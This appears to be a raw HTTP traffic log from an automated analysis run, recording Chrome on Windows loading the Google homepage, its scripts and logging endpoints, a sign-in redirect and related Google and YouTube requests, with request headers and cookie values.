NID=522=DnVpXrd0eJCwpNhQxecV9_TXHEaLmcC2I90I3KrrgA8SFtypeG5dMvgtcsctD_5daZelg0NSFdHmXwRtnXONIxSTyhmXEK6Auo1dQcp6yVa_8ZKYAI2LA70kMPTcee8ylZaSJN9R4RVpZrDQYFfry-Cs3mpAXj4fkWU962lo3zj-Te7DDDpJwUt2nUWwOE8BItL3R4RsY_7KSvK5fzVM5Y3o8MCdog
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /async/hpba?vet=10ahUKEwiy0aqTppmMAxVyg4kEHVoHD1wQj-0KCBc..i&ei=pF_cZ7LvOfKGptQP2o684AU&opi=89978449&yv=3&sp_imghp=false&sp_hpte=1&sp_hpep=1&stick=&cs=0&async=_basejs:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O%2Fam%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho%2Fdg%3D0%2Fbr%3D1%2Frs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:%2Fxjs%2F_%2Fss%2Fk%3Dxjs.hd.3UF5emn0zs8.L.B1.O%2Fam%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC%2Fbr%3D1%2Frs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O%2Fck%3Dxjs.hd.3UF5emn0zs8.L.B1.O%2Fam%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho%2Fd%3D1%2Fed%3D1%2Fdg%3D0%2Fbr%3D1%2Fujg%3D1%2Frs%3DACT90oGkziwljBCqPtF7zkxsImG3IkkszQ,_fmt:prog,_id:_pF_cZ7LvOfKGptQP2o684AU_9 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=DnVpXrd0eJCwpNhQxecV9_TXHEaLmcC2I90I3KrrgA8SFtypeG5dMvgtcsctD_5daZelg0NSFdHmXwRtnXONIxSTyhmXEK6Auo1dQcp6yVa_8ZKYAI2LA70kMPTcee8ylZaSJN9R4RVpZrDQYFfry-Cs3mpAXj4fkWU962lo3zj-Te7DDDpJwUt2nUWwOE8BItL3R4RsY_7KSvK5fzVM5Y3o8MCdog
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/rs=ACT90oFI843KH_skkA3LMEIA-jaywe7UZQ/m=lOO0Vd,sy87,P6sQOc?xjs=s4 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=aLUfP&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=4&dbs=1521&ebs=1521&ts=1821&ws=0&ls=5373&le=5702&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495656973&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=lOO0Vd,P6sQOc&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=5&dbs=1551&ebs=1551&ts=1851&ws=0&ls=5704&le=6201&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495657472&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=psnt&cad=&nt=navigate&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495657901&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /url?q=https://accounts.google.com/signin/v2/identifier%3Fec%3Dfutura_hpp_co_si_001_p%26continue%3Dhttps%253A%252F%252Fwww.google.com%252F%253Fptid%253D19027681%2526ptt%253D8%2526fpts%253D0&source=hpp&id=19046229&ct=7&usg=AOvVaw33MBGJMT3TA0n4WMEDSPEO HTTP/1.1Host: www.google.comConnection: keep-alivertt: 200downlink: 4.1sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-form-factors: "Desktop"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ogs.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g; OGP=-19046228:
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=25854045&timestamp=1742495677191 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-form-factors: "Desktop"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g; OGP=-19046228:
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g; OGP=-19046228:
Source: global traffic	HTTP traffic detected: GET /time/1/current?cup2key=8:4RLZSZ-Rn05imwLHZf3nMJNLeZbUZgH9PJzSl9qjdpc&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate

